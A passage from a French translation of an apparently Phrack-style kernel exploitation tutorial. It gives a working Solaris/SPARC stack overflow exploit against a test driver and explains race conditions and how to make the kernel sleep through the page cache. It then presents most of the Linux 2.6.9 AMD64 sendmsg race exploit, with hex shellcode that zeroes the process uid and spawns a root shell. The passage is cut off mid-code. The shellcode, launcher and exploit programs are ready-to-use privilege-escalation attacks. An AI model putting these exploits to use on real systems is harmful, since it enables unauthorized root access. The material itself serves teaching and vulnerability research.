signifie que nous pouvons utiliser la valeur de t_stk comme %fp (muni de la "bonne adresse de retour") pour retourner à "un endroit valide" dans le chemin de l'appel système (et donc, le laisser couler à partir de là et revenir proprement dans l'espace utilisateur). Maintenant, la question est : à quel endroit ? devons nous hardcoder cette valeur de retour ou pouvons nous la récupérer quelque part ? Un prochain coup d'oeil au chemin du syscall nous révèle que : ENTRY_NP(utl0) SAVE_GLOBALS(%l7) SAVE_OUTS(%l7) mov %l6, THREAD_REG wrpr %g0, PSTATE_KERN, %pstate ! enable ints jmpl %l3, %o7 ! call trap handler mov %l7, %o0 et ce %l3 est : have_win: SYSTRAP_TRACE(%o1, %o2, %o3) ! ! at this point we have a new window we can play in, ! and %g6 is the label we want done to bounce to ! ! save needed current globals ! mov %g1, %l3 ! pc mov %g2, %o1 ! arg #1 mov %g3, %o2 ! arg #2 srlx %g3, 32, %o3 ! pseudo arg #3 srlx %g2, 32, %o4 ! pseudo arg #4 %g1 a été préservé puisque : #define SYSCALL(which) \ TT_TRACE(trace_gen) ;\ set (which), %g1 ;\ ba,pt %xcc, sys_trap ;\ sub %g0, 1, %g4 ;\ .align 32 ainsi sont les appels systèmes syscall_trap pour LP64 et syscall_trap32 pour ILP32. Vérifions que la pile est dans l'état que nous avons prévu : > ::ps ! grep snmp R 291 1 291 291 0 0x00020008 0000030000db4060 snmpXdmid R 278 1 278 278 0 0x00010008 0000030000d2f488 snmpdx > ::ps ! grep snmpdx R 278 1 278 278 0 0x00010008 0000030000d2f488 snmpdx > 0000030000d2f488::print proc_t p_tlist p_tlist = 0x30001dd4800 > 0x30001dd4800::print kthread_t t_stk t_stk = 0x2a100497af0 "" > 0x2a100497af0,16/K 0x2a100497af0: 1007374 2a100497ba0 30001dd2048 1038a3c 1449e10 0 30001dd4800 2a100497ba0 ffbff700 3 3a980 0 3a980 0 ffbff6a0 ff1525f0 0 0 0 0 0 0 > syscall_trap32=X 1038a3c > En analysant le "cadre de la pile", nous voyons que %l16 est exactement THREAD_REG (la valeur du thread, 30001dd4800) et %l3 est 1038a3c, l'adresse de syscall_trap32. Maintenant, nous sommes prets à écrire notre "shellcode" : # cat sparc_stack_fixup64.s .globl begin .globl end begin: ldx [%g7+0x118], %l0 ldx [%l0+0x20], %l1 st %g0, [%l1 + 4] ldx [%g7+8], %fp ldx [%fp+0x18], %i7 sub %fp,2047,%fp add 0xa8, %i7, %i7 ret restore end: # Maintenant il devrait être assez lisible : il récupère l'adresse de t_procp depuis la structure kthread_t et à partir de là, récupère l'adresse de p_cred. Il la met alors à zéro (le registre %g0 est cablé à zéro) le champ cr_uid de la structure cred_t et utilise la valeur de kthread_t->t_stk pour %fp. %fp est alors déréférencé pour récupérer l'adresse de "syscall_trap32" et la soustraction par STACK_BIAS est alors effectuée. Le add 0xa8 est la seule valeur hardcodée, et est "le lieu de retour" dans syscall_trap32. On peut le dériver rapidement avec la commande ::findstack avec mdb. Un shellcode plus avancé pourrait éviter cette "valeur hardcodée" en scannant les opcodes depuis le début de syscall_trap32 et en cherchant une séquence jmpl %reg,%o7/nop (syscall_trap ne prend pas une nouvelle fenêtre et reste dans celle que sys_trap a créé). Sur toutes les boxes que nous avons testé, c'était toujours 0xa8, c'est pourquoi nous l'avons laissée hardcodée. Comme on l'a dit, nous avons besoin que le shellcode soit dans la ligne de commande, "décallé" de trois octets pour avoir le bon alignement. Pour le faire, un simple code de lancement a été utilisé : bash-2.05$ cat launcer_stack.c #include char sc[] = "\x66\x66\x66" // padding for alignment "\xe0\x59\xe1\x18\xe2\x5c\x20\x20\xc0\x24\x60\x04\xfc\x59\xe0" "\x08\xfe\x5f\xa0\x18\xbc\x27\xa7\xff\xbe\x07\xe0\xa8\x81" "\xc7\xe0\x08\x81\xe8\x00\x00"; int main() { execl("e", sc, NULL); return 0; } bash-2.05$ The shellcode is the one presented before. Before showing the exploit code, let's just paste the vulnerable code, from the dummy driver provided for Solaris : < stuff/drivers/solaris/test.c > [...] static int handle_stack (intptr_t arg) { char buf[32]; struct test_comunique t_c; ddi_copyin((void *)arg, &t_c, sizeof(struct test_comunique), 0); cmn_err(CE_CONT, "Requested to copy over buf %d bytes from %p\n", t_c.size, &buf); ddi_copyin((void *)t_c.addr, buf, t_c.size, 0); [1] return 0; } static int test_ioctl (dev_t dev, int cmd, intptr_t arg, int mode, cred_t *cred_p, int *rval_p ) { cmn_err(CE_CONT, "ioctl called : cred %d %d\n", cred_p->cr_uid, cred_p->cr_gid); switch ( cmd ) { case TEST_STACKOVF: { handle_stack(arg); } [...] < / > La vulnérabilité est assez auto-explicative et est un manque de "nettoyage d'entrée" avant d'appeller ddi_copyin en [1]. L'exploit est le suivant : < stuff/expl/solaris/e_stack.c > #include #include #include #include #include #include #include #include "test.h" #define BUFSIZ 192 char buf[192]; typedef struct psinfo { int pr_flag; /* process flags */ int pr_nlwp; /* number of lwps in process */ pid_t pr_pid; /* unique process id */ pid_t pr_ppid; /* process id of parent */ pid_t pr_pgid; /* pid of process group leader */ pid_t pr_sid; /* session id */ uid_t pr_uid; /* real user id */ uid_t pr_euid; /* effective user id */ gid_t pr_gid; /* real group id */ gid_t pr_egid; /* effective group id */ uintptr_t pr_addr; /* address of process */ size_t pr_size; /* size of process image in Kbytes */ } psinfo_t; #define ALIGNPAD 3 #define PSINFO_PATH "/proc/self/psinfo" unsigned long getaddr() { psinfo_t info; int fd; fd = open(PSINFO_PATH, O_RDONLY); if ( fd == -1) { perror("open"); return -1; } read(fd, (char *)&info, sizeof (info)); close(fd); return info.pr_addr; } #define UPSARGS_OFFSET 0x330 + 0x161 int exploit_me() { char *argv[] = { "princess", NULL }; char *envp[] = { "TERM=vt100", "BASH_HISTORY=/dev/null", "HISTORY=/dev/null", "history=/dev/null", "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin", "HISTFILE=/dev/null", NULL }; printf("Pleased to see you, my Princess\n"); setreuid(0, 0); setregid(0, 0); execve("/bin/sh", argv, envp); exit(0); } #define SAFE_FP 0x0000000001800040 + 1 #define DUMMY_FILE "/tmp/test" int main() { int fd; int ret; struct test_comunique t; unsigned long *pbuf, retaddr, p_addr; memset(buf, 'A', BUFSIZ); p_addr = getaddr(); printf("[*] - Using proc_t addr : %p \n", p_addr); retaddr = p_addr + UPSARGS_OFFSET + ALIGNPAD; printf("[*] - Using ret addr : %p\n", retaddr); pbuf = &buf[32]; pbuf += 2; /* locals */ for ( ret = 0; ret < 14; ret++ ) *pbuf++ = 0xBBBBBBBB + ret; *pbuf++ = SAFE_FP; *pbuf = retaddr - 8; t.size = sizeof(buf); t.addr = buf; fd = open(DUMMY_FILE, O_RDONLY); ret = ioctl(fd, 1, &t); printf("fun %d\n", ret); exploit_me(); close(fd); } < / > L'exploit est assez simple (nous nous excusons, mais nous n'en avions pas de public à vous montrer au moment de la rédaction) : - getaddr() utilise les données psinfo exportées par procfs pour récupérer l'adresse proc_t du processus courant. - L'adresse de retour est calculée avec proc_t + l'offset du tableau u_psargs + les trois octets utilisés pour l'alignement. - SAFE_FP pointe simplement "quelque part dans le segment de données" (et près à être biaisé pour le déréférencement réel). À cause des méchanismes de fenêtres de SPARC, nous devons fournir une adresse valide qui sera utilisée pour "charger" les registre de la fonction sauvegardés avant de re-entrer. Nous n'écrivons pas à cette adresse et donc toutes les parties lisibles du noyau restent sûres. (dans des scénarios plus complexes, vous pourriez avoir à y écrire, alors soyez prudents). - /tmp/test est juste un lien vers le fichier/devices/pseudo/test@0:0 - L'exploit doit être compilé comme exécutable 32 bits, pour que l'offset syscall_trap32 ai du sens. Vous pouvez compiler et tester le driver sur votre boxe, c'est vraiment simple. Vous pouvez l'étendre pour tester plus de scénarios, le squelette est déjà près pour ça. ------[ 2.4 - Une amorce sur les bugs logiques : race conditions Les débordements de tas et de pile (et aussi, le déréférencement de pointeur NULL) sont rarement seuls, et avec l'avancement des audits de code humaines et automatiques, ils devienent de plus en plus rare. Ce qui survivra surement plus longtemps sont les "bugs logiques", qui peuvent mener, finalement, aux débordements classics. Trouver une modélisation des "bugs logiques" est, d'après nous, quasiment impossible, chacun étant une histoire à lui seul. Cependant, une typologie parmis d'autre est assez intéressante (et "répendue") et au moins, quelques approches de base sont adaptées à une description générique. Nous parlons de "race conditions" [NDT : aussi appellé "situation de compétition" en français]. En bref, nous avons une race condition chaque fois que nous avons une petite fênetre de temps que nous pouvons utiliser pour corrompre le comportement du système d'exploitation. Une race condition est souvent une séquence de verroux ou d'autres primitives de synchronisation oubliés ou l'utilisation de variables "trop longtemps après" le nettoyage de ses valeurs. Demandez juste à votre moteur de recherche de vulnérabilités vavorit des "kernel race condition" et vous trouverez plein d'exemples différents. Gagner la compétition [NDT : souvenez vous, race = competition] est notre but. C'est plus facile sur les systèmes SMP, puisque les deux threads en compétition (l'un d'eux suivant le "chemin noyau disputable" et l'autre tentant de le gagner) peuvent être ordonnancés (et limités) sur différents CPU. Nous avons juste besoin que notre "thread compétiteur" aille plus vite que l'autre, puisqu'il peuvent s'exécuter tous deux en parallèle. Gagner la compétition sur UP est plus difficile : nous devons forcer le premier chemin noyau à dormir (et donc à re-ordonnancer). Nous devons aussi "forcer" le schelduler [NDT : l'ordonnanceur] à sélectionner notre thread "compétiteur", nous devons donc faire attention à l'implémentation de l'algorithme d'ordonnancement (par exemple basé sur les priorités). Sur un système avec une faible charge du CPU, c'est généralement facile à obtenir : le thread compétiteur est souvent en train de "tourner" sur une condition et a le plus de chance d'être le meilleur quandidat dans la file d'attente. Nous allons maintenant nous concentrer à "forcer" le chemin noyau à dormir, analysant l'interface actuelle pour accéder aux fichier, le cache des pages. Après ça, nous présenterons l'architecture AMD64 et montrerons un vrai race exploit sous linux, basé sur la vulnérabilité sendmsg [5]. Gagner la course dans ce cas nous mène à une vulnérabilité dans la pile, nous analiseront donc aussi l'exploitation de la pile sous Linux/AMD64. ---[ 2.4.1 - Forcer un chemin noyau à dormir Si vous voulez gagner une course, qu'y a-t-il de mieux que de ralentir votre adversaire ? Et qu'y a-t-il de plus lent que d'acceder au disque dur, sur un ordinateur moderne ? Les concepteurs de systèmes d'exploitation savent que les E/S sur le disque sont l'une des limitations majeures des performances des systèmes et savent aussi que c'est l'une des opération les plus fréquement effectuée. L'accès au disque et la mémoire virtuelle sont fortement liés : la mémoire virtuelle a beosin d'accéder au disque pour accomplir les demandes de pages et le swapping [NDT : le fait qu'une page bouge entre la mémoire vive et le disque dur], tandis que les E/S du système de fichier (à la fois les écritures/lectures directes et les fichiers mappés en mémoire) fonctionne en unité de pages et se basent sur les fonctions de VM [NDT : Virtual Memory] pour effectuer les écritures sur les pages "sales". De plus, pour augmenter sensiblement les performances, les pages disques fréquement accédées sont gardée en RAM, dans ce qu'on appelle le "cache de page". Puisque la RAM n'est pas une ressource infinie, les pages qui doivent y être chargées et "mises en cache" doivent être choisies avec soin. Un premier "écrémage" est fait avec l'approche "Demand Paging" [NDT : "Pagination à la demande"] : une page est chargée depuis le disque vers la mémoire uniquement quand elle est référencée, par le gestionnaire de défaut de page. Une fois qu'une page du système de fichier est chargée en mémoire, elle entre dans le "cache de page" et y reste pour un temps non déterminé (qui dépend de l'activité du disque et de la disponibilité de la RAM, généralement, une politique du LRU [NDT : Least Recently Used - non-utilisée depuis le plus longtemps] est utilisée pour supprimer les pages en trop). Puisqu'il est assez habituel pour des applications utilisateur d'accéder répétivement sur les mêmes pages/contenus (ou, pour différentes applications, d'acceder à des fichiers communs), le "cache de page" augmente sensiblement les performances. Une dernière chose dont nous devons parler et le "page clustering" du système de fichier. Un autre principe dans la "mise en cache" est la "localité". Les pages non loins d'une page référencée ont beaucoup de chance d'être accédées dans un future proche et puisque nous accédons au disque, nous pouvons éviter la prochaine latence d'accès si nous chargeons plus de pages après celle référencée. Combien en charger est déterminer par la valeur du cluster de page. Sous linux, cette valeur est 3, donc, 2^3 pages sont chargées après la page référencée. Sous Solaris, si les pages font 8Ko, les prochaines 8 pages dans la limite de 64Ko sont apportées par le driver seg_vn (cas-mmap). En mettant tout ensemble, si nous voulons forcer un chemin noyau à dormir, nous devons lui faire référencer une page non-en-cache, pour qu'un défaut apparaisse à cause de l'implémentation de la pagination. Le gestionnaire de défaut de pages doit effectuer les E/S sur disque, donc le processus est mis en sommeil et un autre est sélectinné par le scheduler. Puisque nous voulons probablement que notre "contenu contrôlé" soit à l'adresse fautive, nous devons mmaper la page, la modifier et ensuite, épuiser le cache de page avant que le noyau n'y re-accède. Remplir le "cache de page" a aussi pour effet de consommer une grande quantité de RAM et donc d'augmenter le swapping. Sur les systèmes d'exploitation modernes, on ne peut pas créer une condition de pression sur la mémoire simplement en épuisant le cache de page (comme il était possible de le faire sur les très vieilles implémentations), puisque seulement un petit morceau de la RAM est dédié au cache de page et il continuera à se voler des pages lui-même, laissant les autres sous-systèmes libres de faire de même. Mais nous pouvons nous débrouiller pour que ces sous-systèmes s'épuisent aussi, par exemple en faisant que le noyau fasse un grand nombre d'allocations de slabs "rescapés". Travailler à mettre la VM sous pression est quelque chose à toujours garder à l'esprit, puisque, en faisant ça, on peut ralentire le noyau (favorisant la compétition) et faire que kmalloc ou d'autres fonctions d'allocations échouent (quelque chose qui apparaît rarement pendant le comportement normal). Il est maintenant temps pour une autre situation de la vie normale. Nous allons montrer la vulnérabilité sendmsg [5] et le code d'exploitation et nous décrirons brièvement les détails les plus intéressant pour l'exploitation de l'architecture AMD64. ---[ 2.4.2 - AMD64 et exploitation de race condition : sendmsg AMD64 est "l'extention" 64-bits de l'architecture x86, qui est nativement supportée. Il supporte des registres, pointeurs/adresses mémoires et des opérations entières/logiques sur 64 bits. AMD64 a deux modes principaux d'opérations, "long mode", qui est le mode 64bits standard (les binaires 32bits et 16bits peuvent fonctionner quand même avec quasiment aucun impact sur la performance, ou même, si recompilé, avec quelques avantages du au plus grand nombre de registres, grâce à ce qu'on appelle parfois "le mode de compatibilité") et le "legacy mode", pour les systèmes d'exploitation 32bits, qui est, en gros, comme si on avait un environnement x86 standard. Même so nous n'allons pas les utiliser toutes dans l'exploit sendmsg, nous allons résumés ici, une paire de fonctionnalités intéressantes de l'architecture AMD64 : - Le nombre de registre à but général a été étendu de 8 à 16. Les registres font tous 64bits (qu'on référence par "r[name|num]", par exemple : rax, r10). Comme ça c'était passé pour la transition 16-bits vers 32bits, les 32bits de poids faible des registres d'ordre général sont accessible avec le préfixe "e" (p.e. eax). - push/pop sont des opérations 64bits sur la pile, donc, 8 octets sont pushés/popés à chaque fois. Les pointeurs font aussi 64bits, nous permettant théoriquement d'adresser 2^64 octets. Comme c'est le cas avec l'architecture UltraSparc, l'implémentation actuelle n'adresse qu'une partie limitée de l'espace adressable (2^48 octets) et a donc un trous de VA [NDT : Virtual Address] (les 48 bits de poids faible sont utilisés et les bits du 48ème au 63ème doivent être des copies du 47ème bits : le trou est donc entre 0x7FFFFFFFFFFF et 0xFFFF800000000000). Cette limitation est strictement dépendante de l'architecture, toute implémentation future pourrait prendre tout l'avantage de la plage des 2^64 octets. - On peut maintenant référencer des données relativement au pointeur d'instruction (RIP). C'est à la fois une bonne et une mauvaise nouvelle, puisqu'elle facilite l'écriture de (shell)code indépendant de la position, mais le rend aussi plus efficace (ouvrant la voie à des implémentations plus performantes genre PIE). - Le (mé)connu bits NX (63ème bits de l'entrée de la table des pages) est implémenté, les pages peuvent donc être marquée No-Exec par le système d'exploitation. C'est moins un problème que sous UltraSPARC puisqu'en fait, il n'y a aucun système d'exploitation qui implémente des espaces d'adressage utilisateur/noyau séparés, laissant toute la place aux technique de "retour-vers-espace-utilisateur" [NDT : "return-to-userspace"]. - AMD64 ne supporte plus (en "long mode") l'utilisation de la segmentation. Ce choix rend plus dur, de notre point de vue, la création d'espaces d'adressages utilisateur/noyau séparés. De plus, les registres FS et GS sont encore utilisé pour des buts différents. Comme nous le verrons, Linux continue de faire pointer GS vers le PDA courant ("Per Processor Data Structure"). (voir : /include/asm-x86_64/pda.h, la structure pda ... de toute façon, on y reviendra dans pas longtemps). Après ce bref résumé (si vous voulez en apprendre plus sur AMD64, vous pouvez voir le manuel de référence [3]), il est temps de ce concentrer sur la "vulnérabilité réelle", sendmsg [5] : "Quand nous copions le contenu 32bits de ->msg_control, nous lisons deux fois les mêmes données utilisateurs, sans vérifications lors de la deuxième passe. De plus, si la taille des données originale est assez petite, nous pouvons écrire dans un tableau sur la pile." < linux-2.6.9/net/compat.c > int cmsghdr_from_user_compat_to_kern(struct msghdr *kmsg, unsigned char *stackbuf, int stackbuf_size) { struct compat_cmsghdr __user *ucmsg; struct cmsghdr *kcmsg, *kcmsg_base; compat_size_t ucmlen; __kernel_size_t kcmlen, tmp; kcmlen = 0; kcmsg_base = kcmsg = (struct cmsghdr *)stackbuf; [1] [...] while(ucmsg != NULL) { if(get_user(ucmlen, &ucmsg->cmsg_len)) [2] return -EFAULT; /* Catch bogons. */ if(CMSG_COMPAT_ALIGN(ucmlen) < CMSG_COMPAT_ALIGN(sizeof(struct compat_cmsghdr))) return -EINVAL; if((unsigned long)(((char __user *)ucmsg - (char __user *)kmsg->msg_control) + ucmlen) > kmsg->msg_controllen) [3] return -EINVAL; tmp = ((ucmlen - CMSG_COMPAT_ALIGN(sizeof(*ucmsg))) + CMSG_ALIGN(sizeof(struct cmsghdr))); kcmlen += tmp; [4] ucmsg = cmsg_compat_nxthdr(kmsg, ucmsg, ucmlen); } [...] if(kcmlen > stackbuf_size) [5] kcmsg_base = kcmsg = kmalloc(kcmlen, GFP_KERNEL); [...] while(ucmsg != NULL) { __get_user(ucmlen, &ucmsg->cmsg_len); [6] tmp = ((ucmlen - CMSG_COMPAT_ALIGN(sizeof(*ucmsg))) + CMSG_ALIGN(sizeof(struct cmsghdr))); kcmsg->cmsg_len = tmp; __get_user(kcmsg->cmsg_level, &ucmsg->cmsg_level); __get_user(kcmsg->cmsg_type, &ucmsg->cmsg_type); /* Copy over the data. */ if(copy_from_user(CMSG_DATA(kcmsg), [7] CMSG_COMPAT_DATA(ucmsg), (ucmlen - CMSG_COMPAT_ALIGN(sizeof(*ucmsg))))) goto out_free_efault; < / > Comme il est dit dans l'advisory, la vulnérabilité est une double référence vers une donnée utilisateur (en [2] et en [6]) sans vérifications lors de la deuxième passe (en [3] les tests sont bien effectués). Cette "donnée" est la "taille" de la partie utilisateur à copier ("ucmlen") et est utilisée, en [7], dans copy_from_user. C'est un scénario assez commun pour les race conditions : si nous créons deux threads différents, fassions que le premier entre dans ce chemin, après [4], nous nous arrangeons pour qu'il dorme et faisons choisir notre autre thread par le scheduler, nous pouvons alors changer la valeur de "ucmlen" et donc effectuer un "débordement de tampon". La sorte de débordement qu'on va faire se "décide" en [5] : si len est petite, le buffer utilisé est dans la pile, sinon, il sera alloué via kmalloc. Ces deux situations sont exploitatbles, mais nous avons choisi de le faire dans la pile (nous avons déjà présenter un exploit dans le slab pour Linux plus haut). Nous allons utiliser, dans l'exploit, la technique présentée dans la sous-section précédente pour forcer un processus à dormir, c'est à dire le faire accéder à des données en dehors d'une page (avec la deuxième qui n'a pas encore été référencée, ni swappée) : +------------+ --------> 0x20020000 [MMAP_ADDR + 32 * PAGE_SIZE] [*] | | | cmsg_len | premier cmsg_len commence à 0x2001fff4 | cmsg_level | première struct compat_cmsghdr | cmsg_type | |------------| --------> 0x20020000 [en dehors de la page] | cmsg_len | deuxième cmsg_len commence à 0x20020000) | cmsg_level | deuxième struct compat_cmsghdr | cmsg_type | | | +------------+ --------> 0x20021000 [*] Ce genre de chose qu'on appelle "ajustement à l'exécution". Le clustering de page ne montrait pas le comportement attendu pour les 32 premières pages mmapées, mais fonctionnait très bien après. Comme nous l'avons dit, nous allons effectuer une exploitation dans la pile en écrivant en dehors de la variable "stackbuf". Voyons d'où on peut l'obtenir : < linux-2.6.9/net/socket.c > asmlinkage long sys_sendmsg(int fd, struct msghdr __user *msg, unsigned flags) { struct compat_msghdr __user *msg_compat = (struct compat_msghdr __user *)msg; struct socket *sock; char address[MAX_SOCK_ADDR]; struct iovec iovstack[UIO_FASTIOV], *iov = iovstack; unsigned char ctl[sizeof(struct cmsghdr) + 20]; unsigned char *ctl_buf = ctl; struct msghdr msg_sys; int err, ctl_len, iov_size, total_len; [...] if ((MSG_CMSG_COMPAT & flags) && ctl_len) { err = cmsghdr_from_user_compat_to_kern(&msg_sys, ctl, sizeof(ctl)); [...] < / > La situation est moins embêtante qu'elle n'y parai (au moins sur les systèmes où nous avons testé le code) : grâce à la façon dont gcc met les variables dans la pile, notre structure "msg_sys" est placée comme si elle était la première variable. Ça simplifie beaucoup la tâche de l'exploitations, puisque nous ne devons pas nous embêter à "émuler" en espace utilisateur, les structures référencées entre notre débordement et le "return" de la fonction (par exemple, la struct sock). Exploiter dans ce "deuxième cas" aurait été légèrement plus complexe, mais faisable quand même. Le shellcode pour cet exploit n'est pas très différent (comme on pouvait le prévoir, puisque AMD64 est un "surensemble" de l'architecture x86) des shellcodes déjàs fournis pour les environnements Linux/x86, cependant, nous devons nous concentrer sur deux points différents : le "déréférencement de thread/task struct" et "l'approche de changement de contexte en espace utilisateur" [NDT : "thread/task struct dereference" et "userspace context switch approach"]. Pour le premier point, commençons à analyser l'implémentation de get_current() : < linux-2.6.9/include/asm-x86_64/current.h > #include static inline struct task_struct *get_current(void) { struct task_struct *t = read_pda(pcurrent); return t; } #define current get_current() [...] #define GET_CURRENT(reg) movq %gs:(pda_pcurrent),reg < / > < linux-2.6.9/include/asm-x86_64/pda.h > struct x8664_pda { struct task_struct *pcurrent; /* Current process */ unsigned long data_offset; /* Per cpu data offset from linker address */ struct x8664_pda *me; /* Pointer to itself */ unsigned long kernelstack; /* top of kernel stack for current */ [...] #define pda_from_op(op,field) ({ \ typedef typeof_field(struct x8664_pda, field) T__; T__ ret__; \ switch (sizeof_field(struct x8664_pda, field)) { \ case 2: \ asm volatile(op "w %%gs:%P1,%0":"=r" (ret__):"i"(pda_offset(field)):"memory"); break;\ [...] #define read_pda(field) pda_from_op("mov",field) < / > La task struc n'est donc plus dans la "pile courante" (plus précisément, référencées dans thread_struct qui est en fait sauvegardée dans la "pile courante"), mais est stockée dans la "struct x8664_pda". Cette structure contient plein d'informations relatices au processus "courant" et sur le CPU sur lequel il tourne (l'adresse de la pile noyau, les compteurs IRQ, le cpu sur lequel on est, nombre de NMI sur ce cpu, ...). Comme vous pouvez le voir dans la macro "pda_from_op", pendant l'exécution d'un chemin noyau, l'adresse de la "struct x8664_pda" est gardée dans le registre %gs. En plus, le membre "pcurrent" (qui est celui dont on s'intéresse) est le premier, l'obtenir à partir d'un shellcode est juste une histoire de : movq %gs:0x0, %rax À partir de là, "scanner" pour trouver uid/gid/etc se fait juste comme dans les exploits précédement expliqués. Le deuxième point qui change assez par rapport au cas sous x86 est la partie de "restauration" (qui est, aussi, une conséquence directe de l'utilisation de %gs). Tout d'abord, nous devons faire une restauration "basée sur 64bits", c'est à dire que nous devons empiler les registres 64bits RIP,CC,RFLAGS,RSP etSS et appeller, finalement, l'instruction "iretq" (la version étendue de "iret" sous x86). Juste avant de retourner, nous devons penser à effectuer l'instruction "swapgs" qui swap le contenu de %gs avec celui de KernelGSbase (adresse MSR C000_0102h). Si nous ne restauront pas %gs, au prochain syscall ou interruption, le noyau utilisera une valeur non valide pour gs et crashera. Voici le shellcode en asm : void stub64bit() { asm volatile ( "movl %0, %%esi\t\n" "movq %%gs:0, %%rax\n" "xor %%ecx, %%ecx\t\n" "1: cmp $0x12c, %%ecx\t\n" "je 4f\t\n" "movl (%%rax), %%edx\t\n" "cmpl %%esi, %%edx\t\n" "jne 3f\t\n" "movl 0x4(%%rax),%%edx\t\n" "cmp %%esi, %%edx\t\n" "jne 3f\t\n" "xor %%edx, %%edx\t\n" "movl %%edx, 0x4(%%rax)\t\n" "jmp 4f\t\n" "3: add $4,%%rax\t\n" "inc %%ecx\t\n" "jmp 1b\t\n" "4:\t\n" "swapgs\t\n" "movq $0x000000000000002b,0x20(%%rsp)\t\n" "movq %1,0x18(%%rsp)\t\n" "movq $0x0000000000000246,0x10(%%rsp)\t\n" "movq $0x0000000000000023,0x8(%%rsp)\t\n" "movq %2,0x0(%%rsp)\t\n" "iretq\t\n" : : "i"(UID), "i"(STACK_OFFSET), "i"(CODE_OFFSET) ); } Avec UID qui est l'"uid" du processus courant et STACK_OFFSET et CODE_OFFSET qui sont les adresses des segments de pile et de code pour retourner en espace utilisateur. Toutes ces valeurs sont déterminées et patchées à l'exécution de l'exploit dans la fonction "make_kjump" : < stuff/expl/linux/sracemsg.c > #define PAGE_SIZE 0x1000 #define MMAP_ADDR ((void*)0x20000000) #define MMAP_NULL ((void*)0x00000000) #define PAGE_NUM 128 #define PATCH_CODE(base,offset,value) \ *((uint32_t *)((char*)base + offset)) = (uint32_t)(value) #define fatal_errno(x,y) { perror(x); exit(y); } struct cmsghdr *g_ancillary; /* global shared value to sync threads for race */ volatile static int glob_race = 0; #define UID_OFFSET 1 #define STACK_OFF_OFFSET 69 #define CODE_OFF_OFFSET 95 [...] int make_kjump(void) { void *stack_map = mmap((void*)(0x11110000), 0x2000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, 0, 0); if(stack_map == MAP_FAILED) fatal_errno("mmap", 1); void *shellcode_map = mmap(MMAP_NULL, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, 0, 0); if(shellcode_map == MAP_FAILED) fatal_errno("mmap", 1); memcpy(shellcode_map, kernel_stub, sizeof(kernel_stub)-1); PATCH_CODE(MMAP_NULL, UID_OFFSET, getuid()); PATCH_CODE(MMAP_NULL, STACK_OFF_OFFSET, 0x11111111); PATCH_CODE(MMAP_NULL, CODE_OFF_OFFSET, &eip_do_exit); } < / > Le reste de l'exploit devrait s'expliquer de lui-même et nous allons vous montrer le code dans un petit moment. Notez la baisse de priorité dans start_thread_priority ("nice(19)"), pour qu'on ait plus de chance de gagner la compétition (la variable "glob_race" fonctionne juste comme un verroux pour le thread principal - voir "race_func()"). Comme dernier commentaire, nous avons utilisé l'instruction "rdtsc" (read time stamp counter) pour calculer le temps écoulé pendant qu'on tente de gagner la compétition. Si cet interval est grand, il est assez probable qu'un ordonnancement ai tu lieu. La tâche de "retirer toutes les pages" (dans le cache de page), qui nous permettra d'être sur de terminer sur une demande de page en dehors des bornes, n'est pas implémentée dans le code (ça aurait été facile à faire) et est laissée en exercice à qui voudra lancer l'exploit. Puisque nous devons créer le fichier avec les données contrôlées, ces pages finissent par être dans le cache. Nous devons alors forcer le sous-système à les retirer. Il ne vous devrait pas être difficile, si vous avez suivi la discussion jusque ici, d'effectuer des tâches qui "retire les pages nécessaires" (vers le dique) ou d'ajouter du code pour l'automatiser. (indice : beaucoup de find & cat * > /dev/null est une idée). Dernier mais pas des moindres, puisque la fonction vulnérable est dans "compac.c", qui est le "mode de compatibilité" pour lancer des binaires 32bits, souvenez-vous de compiler l'exploit avec le flag -m32. < stuff/expl/linux/sracemsg.c > #include #include #include #include #include #include #include #include #include #include #include #include #define PAGE_SIZE 0x1000 #define MMAP_ADDR ((void*)0x20000000) #define MMAP_NULL ((void*)0x00000000) #define PAGE_NUM 128 #define PATCH_CODE(base,offset,value) \ *((uint32_t *)((char*)base + offset)) = (uint32_t)(value) #define fatal_errno(x,y) { perror(x); exit(y); } struct cmsghdr *g_ancillary; /* global shared value to sync threads for race */ volatile static int glob_race = 0; #define UID_OFFSET 1 #define STACK_OFF_OFFSET 69 #define CODE_OFF_OFFSET 95 char kernel_stub[] = "\xbe\xe8\x03\x00\x00" // mov $0x3e8,%esi "\x65\x48\x8b\x04\x25\x00\x00\x00\x00" // mov %gs:0x0,%rax "\x31\xc9" // xor %ecx,%ecx (15 "\x81\xf9\x2c\x01\x00\x00" // cmp $0x12c,%ecx "\x74\x1c" // je 400af0 "\x8b\x10" // mov (%rax),%edx "\x39\xf2" // cmp %esi,%edx "\x75\x0e" // jne 400ae8 "\x8b\x50\x04" // mov 0x4(%rax),%edx "\x39\xf2" // cmp %esi,%edx "\x75\x07" // jne 400ae8 "\x31\xd2" // xor %edx,%edx "\x89\x50\x04" // mov %edx,0x4(%rax) "\xeb\x08" // jmp 400af0 "\x48\x83\xc0\x04" // add $0x4,%rax "\xff\xc1" // inc %ecx "\xeb\xdc" // jmp 400acc "\x0f\x01\xf8" // swapgs (54 "\x48\xc7\x44\x24\x20\x2b\x00\x00\x00" // movq $0x2b,0x20(%rsp) "\x48\xc7\x44\x24\x18\x11\x11\x11\x11" // movq $0x11111111,0x18(%rsp) "\x48\xc7\x44\x24\x10\x46\x02\x00\x00" // movq $0x246,0x10(%rsp) "\x48\xc7\x44\x24\x08\x23\x00\x00\x00" // movq $0x23,0x8(%rsp) /* 23 32-bit , 33 64-bit cs */ "\x48\xc7\x04\x24\x22\x22\x22\x22" // movq $0x22222222,(%rsp) "\x48\xcf"; // iretq void eip_do_exit(void) { char *argvx[] = {"/bin/sh", NULL}; printf("uid=%d\n", geteuid()); execve("/bin/sh", argvx, NULL); exit(1); } /* * This function maps stack and code segment * - 0x0000000000000000 - 0x0000000000001000 (future code space) * - 0x0000000011110000 - 0x0000000011112000 (future stack space) */ int make_kjump(void) { void *stack_map = mmap((void*)(0x11110000), 0x2000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, 0, 0); if(stack_map == MAP_FAILED) fatal_errno("mmap", 1); void *shellcode_map = mmap(MMAP_NULL, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, 0, 0); if(shellcode_map == MAP_FAILED) fatal_errno("mmap", 1); memcpy(shellcode_map, 